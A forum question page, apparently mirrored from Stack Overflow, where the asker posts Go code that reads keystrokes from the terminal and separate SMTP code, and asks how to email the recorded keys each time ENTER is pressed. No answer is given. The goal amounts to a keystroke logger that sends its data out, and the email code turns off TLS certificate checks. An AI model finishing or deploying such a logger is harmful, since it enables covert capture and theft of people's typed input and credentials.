dpecb06062 2017-06-14 16:08
浏览 33

如何使用Golang将变量放入电子邮件正文中?

My aim is for every time for ENTER to be pressed in the program all the keys recorded will be emailed. What I need to do is put the keystrokes into the body, and then make it loop to create another email.

Key recording code:

package main

import (
    "fmt"
    "os"
    "os/exec"
    "net/smtp"
)

func main() {
    exec.Command("stty", "-F", "/dev/tty", "cbreak", "min", "1").Run()
    exec.Command("stty", "-F", "/dev/tty", "-echo").Run()
    defer exec.Command("stty", "-F", "/dev/tty", "echo").Run()

    var b []byte = make([]byte, 1)
    for {
        os.Stdin.Read(b)
        fmt.Println("I got the byte", b, "("+string(b)+")")
    }
}

Email code:

package main

import (
    "fmt"
    "log"
    "net"
    "net/mail"
    "net/smtp"
    "crypto/tls"
)

func main() {

    from := mail.Address{"", "username@example.tld"}
    to   := mail.Address{"", "username@anotherexample.tld"}
    subj := "This is the email subject"
    body := "This is an example body.
 With two lines."

    headers := make(map[string]string)
    headers["From"] = from.String()
    headers["To"] = to.String()
    headers["Subject"] = subj

    message := ""
    for k,v := range headers {
        message += fmt.Sprintf("%s: %s
", k, v)
    }
    message += "
" + body

    servername := "smtp.example.tld:465"

    host, _, _ := net.SplitHostPort(servername)

    auth := smtp.PlainAuth("","username@example.tld", "password", host)

    tlsconfig := &tls.Config {
        InsecureSkipVerify: true,
        ServerName: host,
    }

    conn, err := tls.Dial("tcp", servername, tlsconfig)
    if err != nil {
        log.Panic(err)
    }

    c, err := smtp.NewClient(conn, host)
    if err != nil {
        log.Panic(err)
    }

    if err = c.Auth(auth); err != nil {
        log.Panic(err)
    }

    if err = c.Mail(from.Address); err != nil {
        log.Panic(err)
    }

    if err = c.Rcpt(to.Address); err != nil {
        log.Panic(err)
    }

    w, err := c.Data()
    if err != nil {
        log.Panic(err)
    }

    _, err = w.Write([]byte(message))
    if err != nil {
        log.Panic(err)
    }

    err = w.Close()
    if err != nil {
        log.Panic(err)
    }

    c.Quit()

}
  • 写回答

0条回答 默认 最新

    报告相同问题?

    悬赏问题

    • ¥15 关于#Java#的问题,如何解决?
    • ¥15 加热介质是液体,换热器壳侧导热系数和总的导热系数怎么算
    • ¥15 想问一下树莓派接上显示屏后出现如图所示画面,是什么问题导致的
    • ¥100 嵌入式系统基于PIC16F882和热敏电阻的数字温度计
    • ¥15 cmd cl 0x000007b
    • ¥20 BAPI_PR_CHANGE how to add account assignment information for service line
    • ¥500 火焰左右视图、视差(基于双目相机)
    • ¥100 set_link_state
    • ¥15 虚幻5 UE美术毛发渲染
    • ¥15 CVRP 图论 物流运输优化